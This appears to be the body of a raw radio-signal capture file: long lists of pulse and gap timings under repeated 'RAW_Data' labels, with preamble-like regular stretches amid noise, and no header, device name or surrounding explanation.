-177 69 -390 81 -130 95 -256 70 -170 141 -74 85 -183 71 -114 111 -125 142 -161 96 -268 53 -151 87 -136 96 -170 91 -102 126 -142 221 -56 77 -387 151 -176 83 -58 51 -1153 61 -344 84 -435 90 -108 133 -353 132 -162 79 -784 159 -646 53 -197 191 -301 53 -78 57 -316 59 -104 101 -130 63 -612 131 -262 77 -189 59 -269 53 -68 63 -66 61 -336 94 -146 88 -250 127 -466 69 -478 53 -194 67 -90 89 -174 113 -78 71 -625 59 -108 57 -198 97 -156 116 -531 59 -134 71 -454 189 -64 61 -345 116 -62 94 -100 86 -291 160 -106 116 -283 89 -277 71 -429 53 -285 95 -52 53 -323 93 -124 99 -62 89 -185 51 -212 146 -122 219 -1253 75 -100 83 -98 83 -441 81 -114 81 -54 139 -98 81 -253 59 -134 69 -342 172 -198 59 -286 95 -456 86 -338 53 -124 69 -152 59 -129 146 -819 71 -474 89 -549 61 -180 75 -248 77 -172 53 -200 71 -66 93 -84 78 -207 59 -548 83 -62 106 -143 89 -384 75 -52 73 -98 53 -125 105 -220 53 -150 131 -108 89 -364 59 -135 59 -76 156 -166 92 -172 115 -62 83 -331 134 -74 112 -269 195 -190 99 -98 87 -196 133 -90 61 -390 61 -283 126 -76 75 -60 182 -56 161 -116 75 -134 143 -103 175 -68 69 -207 143 -521 102 -68 141 -114 51 -72 89 -82 153 -116 111 -72 79 -160 53 -401 214 -150 246 -169 231 -103 118 -345 69 -331 51 -105 71 -233 53 -257 89 -212 79 -90 174 -132 149 -66 51 -157 51 -162 67 -100 604 -62 114 -137 51 -80 51 -175 284 -58 157 -187 244 -80 190 -165 97 -52 59 -190 268 -88 195 -167 160 -251 187 -80 104 -68 101 -116 162 -153 61 -70 106 -290 187 -76 96 -87 129 -344 239 -70 53 -54 124 -308 346 -197 63 -98 81 -162 53 -165 293 -120 202 -52 79 -88 53 -203 124 -178 61 -64 71 -141 53 -98 105 -96 97 -60 53 -108 63 -80 118 -371 67 -116 95 -62 71 -124 106 -338 53 -115 83 -52 121 -214 104 -240 99 -156 131 -64 77 -590 51 -543 53 -70 130 -329 53 -259 112 -134 84 -194 53 -176 61 -769 113 -439 59 -541 53 -62 67 -60 83 -248 67 -62 99 -60 51 -138 78 -441 105 -827 73 -147 59 -60 186 -103 140 -112 53 -124 77 -119 53 -75 69 -98 124 -138 85 -711 -RAW_Data: 51 -221 102 -478 51 -273 93 -88 51 -62 63 -172 79 -244 76 -347 139 -203 185 -217 97 -80 81 -108 61 -200 109 -156 55 -189 106 -487 97 -387 89 -348 87 -104 79 -154 184 -604 53 -291 51 -108 102 -104 171 -131 53 -784 61 -124 129 -102 55 -184 115 -425 51 -322 123 -116 98 -209 61 -201 81 -958 51 -116 69 -66 104 -320 51 -142 95 -517 203 -106 89 -290 120 -76 141 -76 61 -551 124 -289 82 -255 63 -1262 75 -398 53 -88 155 -110 53 -167 89 -259 51 -90 51 -373 79 -417 128 -150 53 -799 69 -288 91 -444 81 -104 114 -88 73 -135 110 -94 65 -80 243 -242 55 -188 53 -119 101 -431 103 -212 111 -62 65 -185 67 -70 71 -290 77 -104 95 -386 164 -170 123 -52 51 -82 107 -174 75 -143 75 -192 103 -350 114 -168 67 -348 59 -139 107 -251 53 -408 69 -151 53 -139 85 -341 89 -273 81 -160 94 -302 53 -62 111 -131 73 -129 221 -319 67 -72 167 -72 53 -186 152 -138 204 -60 245 -80 53 -118 51 -54 51 -242 63 -112 57 -137 80 -223 92 -60 51 -68 77 -245 79 -134 344 -90 77 -60 131 -70 51 -82 59 -448 85 -137 53 -761 53 -160 51 -566 51 -712 57 -82 65 -60 83 -238 89 -255 110 -135 141 -509 180 -111 67 -108 71 -161 96 -198 151 -62 132 -148 53 -86 79 -792 123 -210 73 -187 61 -372 61 -184 202 -247 67 -174 65 -171 69 -94 162 -106 179 -426 174 -649 85 -199 71 -349 112 -716 63 -98 75 -160 71 -292 51 -219 97 -116 78 -260 89 -134 79 -117 106 -70 81 -318 69 -256 77 -58 51 -184 53 -134 51 -260 156 -106 55 -385 113 -171 169 -245 79 -217 67 -231 170 -112 61 -64 314 -512 79 -190 53 -194 71 -319 79 -64 79 -540 79 -90 78 -332 53 -231 59 -333 71 -150 122 -157 73 -78 161 -265 83 -192 51 -120 61 -346 150 -168 167 -116 53 -114 51 -879 67 -67 61 -316 117 -192 71 -373 134 -451 230 -88 71 -204 53 -295 57 -203 71 -308 61 -526 81 -322 176 -196 117 -168 61 -609 82 -249 75 -307 51 -212 53 -313 51 -62 81 -130 161 -58 53 -180 91 -577 108 -211 69 -394 53 -200 69 -271 201 -136 85 -269 51 -68 63 -154 53 -229 61 -280 117 -54 67 -136 69 -357 53 -80 63 -166 115 -194 63 -82 53 -1070 61 -140 79 -122 59 -88 70 -118 86 -272 51 -123 79 -442 125 -337 103 -52 87 -196 89 -60 55 -198 1013 -56 63 -64 63 -62 63 -64 63 -64 61 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 207 -133 125 -171 63 -134 63 -250 53 -845 81 -120 130 -300 81 -426 147 -395 91 -80 65 -106 71 -585 65 -204 81 -128 75 -290 126 -435 51 -336 53 -54 178 -78 79 -122 97 -108 109 -357 59 -252 181 -408 75 -223 82 -60 55 -293 73 -82 80 -54 83 -404 116 -78 53 -70 98 -193 61 -180 51 -607 124 -143 87 -116 81 -260 142 -887 96 -340 118 -252 75 -257 84 -210 87 -89 104 -198 59 -60 112 -519 87 -399 211 -355 77 -277 104 -309 77 -181 87 -761 83 -605 174 -104 59 -62 77 -208 83 -156 198 -257 102 -462 115 -498 103 -171 75 -177 75 -763 59 -210 224 -80 53 -351 195 -832 71 -138 67 -406 53 -89 61 -407 98 -191 51 -98 55 -164 53 -125 71 -134 116 -126 125 -172 -RAW_Data: 61 -177 53 -82 53 -492 67 -647 101 -120 77 -593 69 -112 240 -433 71 -1031 122 -443 53 -426 88 -216 125 -704 59 -224 65 -216 67 -285 55 -280 69 -113 89 -72 84 -475 57 -274 81 -779 79 -308 105 -279 53 -308 59 -127 51 -263 115 -104 61 -380 106 -358 103 -839 85 -250 51 -97 75 -172 57 -122 51 -140 69 -187 83 -133 84 -1229 51 -305 61 -102 195 -203 61 -166 75 -136 71 -150 53 -362 1116 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 127 -64 63 -128 127 -64 61 -126 65 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -56 71 -124 129 -128 127 -126 55 -70 125 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 127 -130 63 -62 61 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -126 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -62 63 -126 129 -64 61 -128 127 -64 61 -62 63 -128 63 -64 61 -64 61 -64 127 -64 63 -128 127 -128 127 -56 69 -62 61 -128 63 -64 61 -64 127 -64 63 -62 63 -62 63 -128 63 -64 127 -128 63 -62 61 -64 127 -64 63 -126 63 -64 127 -64 61 -62 265 -182 120 -604 95 -54 61 -215 126 -306 177 -420 142 -216 53 -416 63 -254 103 -72 71 -72 123 -96 122 -209 89 -900 69 -302 57 -86 65 -58 85 -324 63 -62 95 -82 101 -224 53 -179 71 -90 69 -153 77 -632 107 -224 59 -118 121 -111 119 -506 105 -54 93 -66 51 -100 94 -264 119 -229 81 -111 116 -156 53 -122 83 -120 77 -161 53 -463 103 -636 61 -308 53 -70 88 -179 97 -170 55 -440 101 -60 167 -98 67 -427 87 -52 112 -205 67 -96 63 -97 89 -757 88 -266 162 -98 71 -134 116 -385 53 -52 59 -90 85 -341 57 -167 -RAW_Data: 96 -211 67 -188 63 -573 61 -108 124 -52 59 -72 77 -208 86 -212 206 -60 51 -100 93 -162 119 -92 55 -93 69 -118 70 -82 159 -542 65 -152 135 -188 59 -192 67 -145 87 -142 57 -195 113 -92 51 -667 93 -144 75 -92 114 -96 65 -276 146 -102 123 -206 97 -222 61 -166 53 -468 51 -127 59 -255 134 -208 59 -238 67 -108 98 -228 67 -96 182 -735 124 -421 81 -145 133 -156 59 -207 51 -106 147 -616 53 -64 69 -124 81 -115 61 -251 69 -77 156 -234 79 -259 172 -404 95 -433 51 -80 51 -569 73 -86 141 -275 117 -384 67 -156 53 -140 73 -102 97 -121 59 -498 71 -62 160 -943 53 -236 97 -274 71 -201 106 -116 81 -70 97 -500 132 -173 51 -64 53 -114 101 -303 135 -78 57 -252 72 -238 71 -100 69 -112 73 -181 97 -78 89 -348 149 -255 116 -98 105 -527 177 -475 115 -126 51 -233 112 -72 125 -125 94 -139 67 -195 53 -118 145 -352 167 -131 123 -155 344 -124 152 -161 89 -80 77 -284 77 -486 93 -396 514 -223 92 -62 265 -218 69 -136 270 -215 69 -90 89 -75 143 -96 165 -72 262 -60 176 -74 121 -86 360 -163 59 -112 57 -171 51 -182 259 -58 268 -74 83 -126 53 -88 55 -227 53 -108 61 -108 145 -86 264 -68 201 -110 71 -54 53 -172 79 -80 195 -223 59 -73 223 -117 122 -180 113 -161 79 -168 96 -249 67 -149 75 -106 169 -82 80 -150 61 -128 83 -98 53 -403 142 -494 137 -184 127 -594 51 -60 87 -87 124 -118 61 -100 53 -242 132 -119 53 -424 125 -298 59 -70 61 -80 53 -160 61 -92 71 -54 115 -54 131 -673 61 -743 73 -140 59 -545 77 -90 61 -86 204 -216 61 -80 226 -130 112 -62 134 -278 140 -191 67 -156 53 -104 97 -209 73 -640 113 -52 69 -224 133 -304 93 -171 61 -100 75 -262 207 -129 80 -149 81 -302 162 -164 67 -302 83 -458 127 -108 53 -168 102 -90 99 -401 71 -62 73 -292 59 -323 148 -213 147 -583 136 -54 131 -185 77 -116 53 -132 51 -196 120 -729 51 -132 93 -143 112 -201 153 -64 117 -94 53 -226 108 -323 69 -734 141 -240 53 -168 111 -102 89 -661 97 -58 185 -80 71 -153 63 -80 67 -370 75 -428 53 -120 69 -730 59 -172 75 -98 59 -559 59 -112 82 -432 159 -364 98 -649 120 -498 160 -314 104 -62 87 -160 53 -1016 57 -62 90 -248 61 -90 101 -123 123 -727 61 -212 113 -104 125 -337 79 -587 65 -713 61 -458 67 -104 75 -200 83 -698 75 -222 -RAW_Data: 143 -256 61 -1020 61 -233 176 -358 55 -423 59 -372 127 -395 51 -120 143 -104 111 -221 88 -166 73 -598 102 -289 63 -140 53 -306 183 -171 83 -98 89 -194 53 -272 55 -330 59 -402 104 -85 67 -156 89 -60 110 -54 125 -99 85 -196 105 -97 83 -76 73 -99 125 -560 202 -185 59 -80 133 -96 51 -96 51 -226 119 -122 102 -82 73 -106 57 -118 68 -136 81 -179 75 -191 51 -74 59 -132 63 -129 51 -62 249 -60 89 -60 169 -155 78 -228 86 -417 80 -192 65 -62 89 -657 131 -56 87 -97 161 -196 140 -182 63 -104 51 -221 103 -102 83 -285 148 -327 67 -124 172 -127 65 -98 103 -64 106 -108 103 -495 77 -153 143 -110 79 -66 114 -68 57 -52 119 -54 83 -52 59 -97 59 -117 267 -54 157 -82 135 -212 131 -81 53 -161 312 -68 97 -118 162 -120 79 -68 99 -54 53 -54 134 -86 89 -158 111 -54 73 -263 173 -390 95 -178 100 -407 132 -371 51 -90 53 -124 81 -197 118 -672 63 -155 55 -297 59 -151 101 -579 51 -204 95 -70 174 -140 71 -322 55 -350 81 -167 91 -395 53 -667 125 -310 51 -94 53 -52 63 -477 71 -52 121 -204 105 -92 81 -251 59 -62 87 -132 53 -54 59 -66 53 -329 196 -70 77 -410 146 -213 137 -178 51 -64 106 -242 61 -497 135 -92 51 -238 67 -281 55 -145 206 -375 61 -132 143 -233 83 -200 71 -110 55 -319 109 -683 61 -224 80 -186 95 -224 57 -335 73 -128 51 -162 51 -94 55 -111 79 -491 87 -108 157 -431 53 -407 61 -216 103 -444 53 -269 131 -96 89 -94 59 -607 91 -258 55 -52 51 -83 59 -150 55 -163 93 -231 115 -72 105 -438 53 -472 88 -84 63 -84 92 -553 119 -574 83 -138 105 -352 53 -690 156 -54 95 -332 111 -138 59 -114 65 -348 114 -405 61 -118 79 -524 85 -68 53 -124 71 -175 87 -54 89 -162 73 -52 103 -452 101 -62 51 -239 61 -163 89 -200 99 -150 149 -160 75 -248 67 -417 59 -80 218 -193 53 -241 83 -84 53 -124 59 -92 147 -96 68 -138 65 -90 148 -77 85 -261 51 -234 51 -84 53 -88 59 -58 118 -187 69 -151 77 -72 53 -108 176 -373 70 -357 67 -244 59 -249 61 -877 51 -56 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 -RAW_Data: 51 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 127 -128 127 -118 135 -56 69 -124 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 127 -130 63 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -128 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -62 61 -128 129 -64 61 -126 129 -64 61 -62 63 -128 63 -62 63 -64 61 -64 127 -64 63 -126 129 -128 125 -56 69 -64 61 -126 65 -62 63 -64 127 -64 61 -64 63 -62 63 -128 63 -64 125 -130 127 -56 69 -62 61 -64 63 -128 127 -64 61 -64 61 -64 633 -173 135 -193 88 -169 147 -84 115 -221 71 -88 97 -52 51 -336 71 -56 79 -222 51 -348 135 -347 67 -213 224 -70 69 -249 135 -281 53 -492 81 -116 129 -172 97 -98 53 -249 88 -141 104 -383 176 -121 124 -837 132 -128 53 -144 53 -645 83 -96 117 -270 51 -62 53 -485 51 -182 69 -151 67 -72 53 -530 75 -62 93 -270 81 -74 53 -108 91 -225 67 -137 95 -106 63 -296 59 -185 51 -149 67 -386 67 -64 61 -687 96 -90 59 -100 73 -207 128 -151 79 -104 89 -255 83 -131 80 -227 97 -210 89 -176 142 -493 229 -268 97 -62 71 -236 83 -406 141 -141 101 -254 88 -211 265 -132 59 -97 61 -350 65 -260 91 -242 101 -54 89 -182 145 -354 51 -62 269 -453 53 -178 61 -657 150 -331 69 -191 53 -54 89 -134 68 -144 94 -60 59 -223 107 -92 59 -831 113 -154 75 -136 57 -102 55 -56 63 -118 105 -144 79 -711 57 -162 77 -115 89 -287 61 -215 95 -113 69 -333 71 -378 96 -679 55 -527 89 -384 76 -1027 71 -178 53 -486 53 -122 110 -276 71 -187 51 -96 61 -401 106 -144 63 -705 103 -508 150 -540 142 -237 63 -174 63 -722 59 -567 106 -90 105 -168 61 -104 127 -308 53 -114 113 -68 163 -277 134 -347 103 -62 53 -118 81 -161 -RAW_Data: 51 -268 51 -67 171 -52 67 -56 232 -142 69 -293 77 -416 192 -68 152 -203 106 -70 89 -197 146 -144 116 -54 113 -118 89 -329 132 -269 63 -207 172 -192 223 -85 53 -108 292 -90 91 -52 53 -72 89 -171 166 -60 71 -193 166 -201 71 -80 128 -586 81 -154 53 -198 63 -52 113 -304 137 -199 181 -112 150 -96 415 -52 51 -52 418 -78 113 -90 103 -96 282 -58 121 -52 176 -131 217 -54 359 -138 71 -94 65 -72 105 -76 151 -54 290 -62 59 -104 55 -132 53 -247 87 -68 88 -111 93 -78 211 -96 106 -241 128 -91 91 -105 121 -72 212 -52 105 -58 51 -123 215 -66 121 -54 67 -111 112 -116 91 -70 210 -78 79 -54 280 -111 132 -145 87 -120 53 -440 244 -310 77 -151 53 -69 57 -238 59 -196 75 -169 77 -54 127 -154 61 -186 53 -265 79 -231 61 -114 145 -116 51 -333 107 -106 71 -60 87 -183 82 -70 191 -114 51 -363 91 -66 63 -354 85 -70 51 -135 59 -78 80 -268 53 -152 94 -233 123 -332 103 -250 150 -264 86 -72 67 -103 59 -248 115 -143 51 -104 65 -68 73 -103 67 -98 51 -798 147 -339 53 -70 59 -593 91 -209 96 -124 98 -996 83 -338 77 -258 67 -124 83 -280 51 -178 53 -72 106 -152 51 -320 106 -106 71 -471 59 -258 104 -60 121 -548 70 -136 53 -54 63 -290 65 -153 97 -76 51 -308 67 -116 75 -382 59 -574 83 -127 143 -152 61 -201 65 -270 67 -191 103 -142 108 -212 185 -112 63 -264 61 -82 53 -72 70 -199 91 -52 81 -303 61 -138 57 -326 112 -211 88 -204 86 -744 79 -196 71 -244 71 -515 53 -143 115 -252 71 -450 211 -428 118 -182 87 -52 96 -96 51 -89 79 -238 51 -112 59 -820 77 -530 191 -539 51 -430 53 -138 53 -54 63 -295 123 -134 79 -547 71 -209 155 -110 193 -127 59 -52 59 -98 59 -149 372 -86 105 -228 177 -148 89 -91 53 -66 173 -178 267 -135 102 -90 132 -154 212 -116 242 -54 88 -90 178 -116 97 -90 69 -563 53 -100 115 -161 81 -101 204 -205 61 -52 285 -90 79 -84 99 -52 69 -207 165 -133 51 -259 79 -52 67 -70 160 -66 79 -89 63 -96 137 -196 71 -78 292 -215 124 -144 89 -86 179 -202 113 -217 65 -152 186 -74 119 -66 69 -76 71 -60 111 -98 51 -122 222 -106 206 -223 115 -58 53 -62 51 -129 266 -80 51 -70 71 -64 513 -147 81 -274 176 -104 147 -112 67 -62 118 -127 439 -239 215 -84 104 -103 153 -106 81 -196 71 -74 -RAW_Data: 79 -620 51 -766 104 -138 63 -98 51 -96 121 -436 71 -150 53 -188 63 -907 51 -199 89 -454 53 -80 122 -82 71 -170 57 -647 53 -326 59 -311 79 -154 59 -171 53 -491 61 -328 53 -465 111 -66 133 -476 79 -85 61 -212 97 -628 163 -206 61 -92 69 -339 97 -54 53 -141 59 -267 71 -602 57 -239 63 -66 69 -78 51 -258 72 -158 131 -200 51 -556 59 -80 69 -749 63 -454 67 -256 89 -140 61 -105 53 -126 103 -731 59 -182 89 -82 59 -186 61 -96 57 -171 101 -248 184 -131 71 -250 91 -172 165 -241 67 -270 71 -108 59 -74 88 -54 65 -86 156 -156 89 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 193 -219 73 -401 106 -190 53 -374 143 -174 53 -114 -RAW_Data: 65 -90 122 -257 80 -78 148 -72 61 -650 99 -97 63 -148 63 -175 113 -429 176 -112 59 -291 63 -140 85 -86 133 -106 162 -131 70 -267 98 -118 63 -90 59 -170 95 -308 148 -102 72 -110 130 -111 154 -370 55 -246 97 -588 106 -157 99 -133 107 -205 143 -156 71 -445 147 -282 141 -221 71 -144 117 -72 53 -664 206 -528 71 -140 156 -680 51 -285 53 -914 81 -68 146 -298 51 -364 83 -216 67 -280 61 -245 53 -114 55 -110 87 -457 113 -505 51 -1016 89 -264 59 -280 74 -68 51 -419 51 -232 71 -116 63 -371 163 -78 165 -359 53 -68 160 -321 53 -165 61 -719 155 -850 51 -90 136 -112 113 -788 57 -290 133 -82 71 -177 203 -117 86 -241 55 -489 63 -94 83 -71 53 -122 111 -100 51 -440 51 -62 78 -385 103 -64 67 -52 53 -312 59 -88 139 -90 61 -80 55 -318 79 -773 241 -348 69 -268 85 -339 79 -82 158 -193 1091 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 71 -126 127 -128 127 -126 55 -62 133 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 61 -64 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 63 -62 127 -130 63 -62 61 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -64 63 -126 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 127 -128 127 -56 69 -126 63 -64 125 -130 61 -64 61 -62 63 -64 127 -128 63 -64 125 -128 127 -56 69 -126 65 -62 127 -128 127 -56 69 -62 61 -64 63 -64 63 -62 63 -128 63 -64 127 -64 61 -64 61 -128 127 -130 125 -128 127 -56 69 -62 399 -74 107 -413 113 -102 183 -90 51 -724 179 -112 107 -54 89 -143 244 -80 128 -141 53 -162 91 -73 79 -427 51 -126 59 -344 125 -208 -RAW_Data: 93 -263 105 -399 118 -138 224 -91 61 -219 126 -72 218 -563 81 -315 51 -64 53 -133 75 -76 59 -52 57 -94 81 -286 53 -100 149 -266 89 -151 99 -155 71 -353 91 -54 97 -68 63 -488 63 -104 140 -400 91 -244 59 -252 53 -444 59 -430 51 -90 102 -198 57 -120 61 -325 85 -605 98 -253 87 -122 83 -243 75 -311 79 -244 114 -54 107 -209 131 -129 69 -129 113 -142 81 -54 164 -104 128 -326 51 -144 73 -444 131 -267 59 -134 73 -429 53 -70 53 -462 59 -88 102 -58 121 -626 105 -62 71 -179 53 -445 67 -177 83 -114 65 -56 67 -340 99 -52 87 -313 99 -145 132 -54 113 -68 63 -529 51 -120 53 -164 51 -194 73 -116 61 -140 67 -468 75 -184 53 -341 69 -96 77 -131 119 -421 69 -103 145 -330 159 -200 63 -79 69 -298 67 -100 65 -228 73 -66 131 -110 79 -316 121 -74 53 -342 134 -733 51 -52 106 -472 65 -238 53 -185 69 -104 63 -205 63 -156 53 -100 65 -54 57 -52 51 -80 71 -378 63 -154 57 -288 209 -124 78 -140 149 -363 231 -157 57 -136 53 -132 51 -310 117 -84 95 -301 65 -155 53 -365 67 -292 105 -224 117 -124 59 -76 135 -200 75 -127 163 -203 51 -282 71 -923 86 -584 67 -757 51 -247 53 -361 124 -86 71 -74 55 -194 135 -111 55 -161 197 -64 125 -98 53 -186 53 -286 146 -114 108 -128 104 -307 76 -205 173 -272 69 -433 240 -199 216 -687 75 -490 121 -88 86 -166 166 -76 59 -189 175 -98 161 -226 246 -62 71 -174 59 -132 63 -72 55 -100 94 -207 130 -54 123 -54 83 -571 89 -115 189 -114 142 -156 88 -356 65 -124 91 -82 71 -136 255 -92 105 -169 95 -152 134 -66 267 -104 90 -73 102 -66 261 -96 113 -116 53 -203 173 -156 59 -167 97 -88 53 -349 59 -419 63 -280 82 -96 136 -191 108 -183 59 -352 97 -54 186 -104 61 -249 67 -180 97 -52 140 -735 105 -639 53 -225 67 -423 250 -195 156 -135 51 -893 88 -216 97 -143 123 -90 116 -58 71 -68 53 -151 289 -551 57 -253 72 -420 61 -334 71 -291 53 -64 78 -519 95 -76 89 -54 53 -384 53 -525 61 -800 93 -494 61 -556 99 -774 81 -118 59 -90 57 -285 81 -126 80 -227 107 -339 53 -186 51 -138 147 -223 53 -90 57 -140 81 -335 105 -278 63 -164 53 -476 51 -251 90 -573 98 -150 105 -96 111 -375 53 -104 51 -264 74 -132 113 -90 51 -775 95 -232 59 -183 127 -300 90 -468 117 -452 221 -62 63 -76 -RAW_Data: 133 -652 61 -460 95 -205 57 -324 57 -310 89 -106 93 -134 63 -825 61 -205 112 -154 71 -140 138 -136 61 -151 71 -192 51 -84 99 -790 97 -263 71 -107 71 -199 98 -255 51 -68 143 -143 65 -291 89 -173 63 -627 61 -888 53 -413 79 -173 79 -168 94 -206 83 -439 67 -235 123 -687 51 -52 57 -425 51 -499 71 -153 53 -215 63 -215 61 -670 74 -82 93 -410 51 -185 51 -440 67 -303 51 -86 63 -189 81 -224 113 -195 81 -626 59 -114 105 -373 77 -334 78 -123 104 -221 89 -1875 61 -578 59 -139 97 -437 51 -137 59 -212 63 -175 53 -204 107 -253 75 -116 605 -56 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 